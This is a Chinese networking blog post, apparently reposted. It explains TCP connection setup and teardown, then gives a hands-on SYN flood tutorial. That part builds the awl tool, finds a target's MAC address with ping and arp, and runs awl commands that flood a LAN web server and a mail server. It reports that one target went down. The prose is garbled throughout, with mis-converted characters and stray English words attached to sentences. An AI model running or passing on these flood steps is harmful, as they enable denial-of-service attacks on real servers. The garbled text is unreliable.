TCP鏈接三次握手協議，釋放鏈接四次揮手，以及使用 awl僞造mac地址進行多線程syn洪泛攻擊。

時間 2019-11-22

標籤 tcp 鏈接三次握手協議釋放四次揮手以及使用 awl 僞造 mac 地址進行多線程 syn 攻擊欄目系統網絡简体版

原文原文鏈接

這個TCP鏈接就是一次追女生-談戀愛-分手，追求比分手簡單，可是分手比追求複雜。哥，談了半年的女友，在就快要成功了的時候分了，緣由是由於有人在後面該老子背後搞SYN洪泛攻擊，最後女友丟失了。學會TCP,教你追回你的前女朋友。再也不爲愛迷茫，是個人就是個人，別人怎麼也拿不走。linux

Tcp 是傳輸層協議很是複雜的協議git

1） TCP是面向鏈接的運輸層協議，也就是說應用程序在使用TCP協議以前，必須先創建TCP鏈接在傳輸數據完成後，必須釋放已經創建的TCP鏈接。web

2）每一條TCP鏈接只能有兩個端點，每一條TCP鏈接只能是點對點（1:1）。服務器

3） TCP提供可靠交付的服務，特色：無差錯、不丟失、不重複、而且按時到達。多線程

4） TCP提供全雙工通訊。ssh

5） TCP面向字節流。socket

TCP 的鏈接tcp

TCP把鏈接做爲最基本的抽象。函數

TCP是一個端到端的協議，TCP的端點叫套接字或插口。gitlab

在RFC793中定義：端口號拼接到IP地址即構成套接字。（套接字 socket =(IP:Port) ）

每一條TCP鏈接惟一地被通訊兩端的連個端點所肯定。

TCP 鏈接：：={socket1,socket} ={(IP1:Port1),(IP2:Port2)}

Socket（同名詞表明的不一樣含義）

1） socket 是傳輸層和應用層之間的一種接口稱爲socket API,簡稱socket。

2） socketAPI中集成的函數 socket();

3）調用socket()函數的端點稱爲socket,

4）調用socket()函數時，其返回值稱爲socket描述符

5）在操做系統中內核連網協議的Berkeley實現稱爲socket

上面這些socket 和RFC793中的不一樣

可靠傳輸的工做原理

Tcp 協議發送的報文是交給IP層傳送

理想條件：

1）傳輸信道不產生差錯

2）無論對方發送多少數據，接受方都能接收到。

1） 中止等待協議

發送數據時，發送方向接收方發送數據包，每當發送方完成一個分組數據的傳輸就中止發送，等待對方確認，在收到確認後再發送下一個分組。若是發生超時，發送方就會重傳。

①無差錯狀況

②出現差錯

出現差錯時候注意三點

必須暫時保留本身發送的分組腳本，對方收到確認後才能夠清除保留的副本；

超時計時器應比數據分組傳輸往返平均時間更長一些，

③確認丟失和遲到

接受方發送的socket遲到了，

第一：丟棄這個重複的分組M1,不向上層交付，

第二: 向A發送確認。

2） 連續ARQ協議

滑動窗口協議比較複雜，是TCP協議的精髓所在，

數據按照分組滑動發送，而後確認向前仍是向後，確認後向前繼續發送，這樣就完成了連續發送，和累計確認，發送方對數據作了排序就能夠累計發送，提升信道利用率。接受大批量數據時若是丟包後重傳數據重複量較大。

TCP報文段的首部格式

1) 源端口和目的端口各佔兩個字節，分別寫入源端口號和目的端口號。

2) 序號 4字節

3) 確認號4字節

4) 數據偏移佔4位

5) 保留

6) 緊急URG

7) 確認ACK

8) 推送PUSH

9) 復位RST

10) 同步 SYN

11) 終止FIN

12) 窗口 2 字節

13) 檢驗和 2字節

14) 緊急指針 2字節

15) 選項最大40字節

Tcp運輸鏈接管理，運輸鏈接是用來傳送TCP報文的，tcp運輸鏈接的創建和釋放是面向鏈接的通訊必不可少的過程。運輸鏈接有三個階段，鏈接創建，數據傳送，鏈接釋放。

在鏈接過程當中要解決如下三個問題

（1）確認雙方相互的存在。

（2）要容許雙方協商一些參數

（3）可以對運輸實體資源進行分配。

TCP三次握手

Tcp鏈接採用客戶模式，主動發起方爲客戶，被動接收方爲服務器

開始，A和B 都是處於關閉狀態，A主動打開鏈接，發送一個信號，B被動的打開鏈接，

B 的CTP服務進程先建立傳輸控制塊TCB,準備接受客戶進程的鏈接請求。而後服務器進程處於Listen狀態，等待客戶的鏈接請求。

A de TCP 客戶進程也首先建立出傳輸控制塊TCB,而後向B發送鏈接請求報文段，這時候，首部的SYN = 1,同時選擇一個初始序號 seq=x 。TCP規定SYN報文不能攜帶數據（SYN=1），可是要消耗一個序號，這時，tcp客戶端進入 SYN-SENT（同步已經發送）狀態。

B收到鏈接請求報文後，如贊成創建鏈接，則向A發送確認，再確認報文段中把SYN和ACK都置爲1，確認號爲ack=x+1,同時也爲本身選擇一個序號seq=y,請注意，這個報文段不能攜帶數據，，一樣消耗一個序號，這樣TCP服務器進程進入SYN-RECVD(同步收到)狀態。

TCP客戶進程收到B的確認後，還要向B給出確認，確認報文段的ACK=1 確認號ack=y+1,本身的序列號爲seq=x+1. TCP 規定此時ACK能夠攜帶報文。在這種狀況下下一個數據報的序號任然是seq=x+1,這時TCP鏈接已經創建，A進入ESTABLISHED(已創建鏈接)狀態。B收到確認後也進入ESTABLISHED(已創建鏈接)狀態。

因此，以上創建鏈接過程爲三次握手。（three-way handshake）.

四次握手協議

TCP鏈接釋放過程比較複雜，數據傳輸結束後通訊雙方均可以關閉鏈接，如今處於鏈接狀態ESTABLISHED

A 的進程鏈接先向其發送TCP發出鏈接釋放報文段，並中止再發送數據，主動關閉TCP鏈接。A把鏈接釋放報文段首部的終止位控制位FIN置爲1，序號seq = u ,u=前面傳送完成的數據的最後一個字節的序號+1.這個時候A進入FIN-WAIT-1（終止等待1）狀態，等待B的確認，TCP 規定，FIN報文不許攜帶數據，其消耗一個序號。

B收到鏈接釋放報文段請求後確認，確認號ack = u +1, 而這個報文段本身的序號是v，等於B前面已傳送過的最後一個字符的序號+1,而後進入CLOSE-WAIT（關閉等待）狀態。TCP服務器進程這時通知最高層應用進程，所以A到B方向的鏈接就釋放了，這時的TCP鏈接處於半關閉（half-close）狀態，即A已經沒有數據須要發送了，可是B 若發送數據，A任然要接受，也就是說從B到A 方向的鏈接還沒關閉。這個狀態會持續一段時間。

A收到B 的來信後進入FIN-WAIT-2(終止等待2)狀態，等待B發出的鏈接釋放報文。

若B沒有要想A發送的數據，其應用進程就通知TCP釋放鏈接。這時B發出的鏈接文FIN=1.如今假定B的序號爲w（在半關閉狀態B可能又發送了一條數）。B還必須重複上次已發送的確認號ack= u+1.這時候B進入LAST-ACK(最後確認)狀態,等待A確認。

A在接受到B的鏈接釋放報文後，必須對此發出確認。在確認報文段追中把ACK置爲1，確認號ack=w+1, 本身的序號seq = u+1。(TCP標準，前面發送過的FIN報文要消耗掉一個序號)。而後進入到TIME-WAIT（等待時間）狀態。請注意如今的TCP 還沒釋放掉，必須通過時間等待計時器設置的2MSL後，A才進入到CLOSED狀態。時間MSL叫作最長報文段壽命，RFC793 中2分鐘實際沒這麼長，所以A進入到TIME-WAIT狀態後A通過4分鐘才能到CLOSE狀態，才能開始創建下一個新的鏈接，當A撤銷相應的傳輸控制塊TCB後，就結束了此次TCP鏈接。

B只要收到A發送的確認，就進入CLOSE關閉狀態.B在撤銷相應的傳輸控制塊TCB後，就結束了此次的TCP鏈接。

上述的TCP鏈接過程稱爲四次握手。

爲何兩次等待必須爲2MSL時間？

第一：爲了保證A發送的最後一個ACK報文可以到達B

第二：防止上一節提到的「以失效的鏈接請求報文段」，出如今本鏈接中。

一，TCP三次握手及TCP鏈接狀態

TCP報文首部格式：

解釋以上信息：

ACK: TCP協議規定，只有ACK=1時有效，鏈接創建後全部發送的報文ACK必須爲1

SYN（SYNchronization同步）:在鏈接創建用來同步序號。當SYN＝1而ACK=0時，代表這是一個鏈接請求報文。對方若贊成創建鏈接，則應在響應報文中使用SYN=1和ACK=1所以，SYN置1表示這是一個鏈接請求或鏈接接受報文。

FIN（FINIS）即完，終結的意思，用來釋放一個鏈接。當FIN=1時，代表此報文段發送方的數據已經發送完畢，並要求釋放鏈接。

創建TCP鏈接時的TCP三次握手和斷開TCP鏈接時的4次揮手總體過程以下圖：

下面進行實戰：使用tcpdump抓取TCP三次握手

TCP三次握手過程：

1. 首先由Client發出請求鏈接即SYN=1,聲明本身的序號seq=X

2.而後Server進行回覆確認，即SYN=1 聲明本身的序號seq=y，並設置ack=x+1

3.最後Client再進行一次確認，設置seq=x+1 ack+y+1

注：seq 序列號範圍：2^32-1 若是超過最大值，再從0開始

seq 序列號做用：依據這個序列號來組數據，若是發N個數據包，服務端會按序列號來從新組裝數據

實戰1：使用tcpdump抓包查看TCP三次握手過程：

tcpdump 經常使用參數：

－c 指定包個數

－n ip,端口用數字方式顯示

port 指定端口

Client:192.168.180.162 server:192.168.180.163

在clent上登錄，抓取ssh遠程產生的tcp三次握手包：

[root@zylei 桌面]# tcpdump port 22 -c 3 -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

#提示一直在監聽eth0

再另外一個虛擬終端經過ssh鏈接到server端

[root@zylei 桌面]# ssh root@192.168.180.163

root@192.168.180.163's password:

回到原來虛擬終端上來

[root@zylei 桌面]# tcpdump port 22 -c 3 -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

10:52:18.963529 IP 192.168.180.162.40274 > 192.168.180.163.ssh: Flags [S], seq 702394658, win 14600, options [mss 1460,sackOK,TS val 86694762 ecr 0,nop,wscale 6], length 0

10:52:18.963768 IP 192.168.180.163.ssh > 192.168.180.162.40274: Flags [S.], seq 3287233370, ack 702394659, win 28960, options [mss 1460,sackOK,TS val 70267731 ecr 86694762,nop,wscale 7], length 0

10:52:18.963791 IP 192.168.180.162.40274 > 192.168.180.163.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 86694762 ecr 70267731], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

#Flag[S]中的S表示爲SYN包爲1 。client主機返回ack=1 這個值爲相對序號，若是想查看完整序號能夠命令後面加－S

[root@zylei 桌面]# tcpdump port 22 -c 3 -n -S

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

11:04:01.333723 IP 192.168.180.162.40276 > 192.168.180.163.ssh: Flags [S], seq 143195220, win 14600, options [mss 1460,sackOK,TS val 87397132 ecr 0,nop,wscale 6], length 0

11:04:01.334138 IP 192.168.180.163.ssh > 192.168.180.162.40276: Flags [S.], seq 3639491649, ack 143195221, win 28960, options [mss 1460,sackOK,TS val 70970102 ecr 87397132,nop,wscale 7], length 0

11:04:01.334158 IP 192.168.180.162.40276 > 192.168.180.163.ssh: Flags [.], ack 3639491650, win 229, options [nop,nop,TS val 87397133 ecr 70970102], length 0

3 packets captured

3 packets received by filter

0 packets dropped by kernel

TCP鏈接狀態

服務器端：LISTEN：偵聽來自遠方的TCP端口的鏈接請求

客戶端：SYN-SENT：再發送鏈接請求後等待匹配的鏈接請求

服務器端：SYN-RECEIVED：再收到和發送一個鏈接請求後等待對方對鏈接請求的確認

客戶端/服務器端：ESTABLISHED：表明一個打開的鏈接

客戶端：FIN-WAIT-1：等待遠程TCP鏈接中斷請求，或先前的鏈接中斷請求的確認

服務器端：CLOSE-WAIT：等待從本地用戶發來的鏈接中斷請求

客戶端：FIN-WAIT-2：從遠程TCP等待鏈接中斷請求

服務器端：LAST-ACK：等待原來的發向遠程TCP的鏈接中斷請求的確認

客戶端：TIME-WAIT：等待足夠的時間以確保遠程TCP接收到鏈接中斷請求的確認

服務器端：CLOSED：沒有任何鏈接狀態

SYN洪水攻擊概述：

SYN洪水攻擊主要源於： tcp協議的三次握手機制

tcp協議面向連接的協議

SYN洪水攻擊的過程：

在服務端返回一個確認的SYN-ACK包的時候有個潛在的弊端，若是發起的客戶是一個不存在的客戶端，那麼服務端就不會接到客戶端迴應的ACK包。

這時服務端須要耗費必定的數量的系統內存來等待這個未決的鏈接，直到等待超關閉時間，才能施放內存。

若是惡意者經過經過ip欺騙，發送大量SYN包給受害者系統，致使服務端存在大量未決的鏈接並佔用大量內存和tcp鏈接，從而致使正常客戶端沒法訪問服務端，這就是SYN洪水攻擊的過程。

3：使用awl假裝MAC對內網的服務器施實syn洪水攻擊

實戰拓撲圖：

在客戶機上安裝awl軟件進行攻擊

下載地址：

https://gitlab.com/davical-project/awl/tags

上傳到linux系統中

開始安裝awl 0.5*以後的版本不能使用

[root@zylei ~]#tar zxvf awl-0.2.tar.gz #解壓

[root@zylei ~]#cd awl-0.2

[root@zylei awl-0.2]#./configure # 查檢軟件包安裝環境

[root@zylei awl-0.2]#make -j 4

#make 把源代碼編譯成可執行的二進制文件

# -j 4以4個進程同時編譯，速度快

[root@zylei awl-0.2]#make install #安裝

查看安裝的命令：

[root@zylei awl-0.2]# which awl

/usr/local/bin/awl

在xuegod64上搭建一臺web服務器，模擬要被攻擊的服務器

[root@carl ~]# yum install httpd -y #安裝web服務器

[root@carl ~]# service httpd start

開始攻擊：

實戰4：在局域網中使用 awl假裝MAC地址進行多線程SYN攻擊

獲取對方的IP地址解析成MAC地址

[root@zylei ~]# ping 192.168.180.163

[root@zylei ~]# arp -n

Address HWtype HWaddress Flags Mask Iface

192.168.180.163 ether 00:0c:29:cc:16:4d C eth0

192.168.180.220 ether 02:09:0f:78:d0:42 C eth0

192.168.180.207 ether 60:a4:4c:4d:86:75 C

開始攻擊：

awl參數以下:

-i 發送包的接口,若是省略默認是eth0

-m 指定目標mac地址注：若是-m沒有指定mac，默認目標MAC地址是「FF.FF.FF.FF.FF.FF」，FF.FF.FF.FF.FF.FFMAC地址是什麼？

這表示向同一網段內的全部主機發出ARP廣播，進行SYN攻擊，還容易使整個局域網癱瘓。

-d 被攻擊機器的IP

-p 被攻擊機器的端口

[root@zylei ~]# awl -i eth0 -m 00:0c:29:cc:16:4d -d 192.168.180.163 -p 80

測試攻擊效果：

在server (carl)上查看：發現不少假裝成公網的IP在攻擊咱們

[root@carl ~]# netstat -antup |grep 80

Awl 安裝，以及測試攻擊

一,安裝:
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make
make install

awl的執行程序安裝後在/usr/local/awl/bin目錄下

二,說明:
awl 的格式以下:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d ip -p port

參數以下:
-i 發送包的接口,若是省略默認是eth0
-m 被***機器的mac地址,程序不能根據被***IP獲得MAC,須要手工指定.先ping 目標IP,再arp -a就能夠看到.若是省略則爲ff:ff:ff:ff:ff:ff
-d 被***機器的IP
-p 被***機器的端口.

三,測試,
服務器端:Centos 5.4
對方服務器:redhat 運行郵件服務器，sendmail

1,首先得知對方IP
運行nmap -v -A 10.122.89.106 查看對方開了啥服務
[root@localhost bin]# nmap -v -A 10.122.89.106

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2008-06-02 19:24 CST
DNS resolution of 1 IPs took 0.39s.
Initiating SYN Stealth Scan against 10.122.89.106 [1680 ports] at 19:24
Discovered open port 21/tcp on 10.122.89.106
Discovered open port 25/tcp on 10.122.89.106
Discovered open port 22/tcp on 10.122.89.106
Discovered open port 443/tcp on 10.122.89.106
Discovered open port 80/tcp on 10.122.89.106
Discovered open port 199/tcp on 10.122.89.106
Discovered open port 110/tcp on 10.122.89.106
Discovered open port 143/tcp on 10.122.89.106
Discovered open port 3306/tcp on 10.122.89.106

得知對方開了如上端口

ping 10.122.89.106 得知mac地址
查看arp -a 得知對方IP的MAC地址

2.開始***:
./awl -i eth0 -m aa:bb:cc:dd:ee:ff -d 10.122.89.106 -p 25

ping 10.122.89.106 -t 查下對方反應

四,測試效果
***一開始,對方明顯掛掉,各類應用無反應,
以下是抓包:
[root@localhost ~]# tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes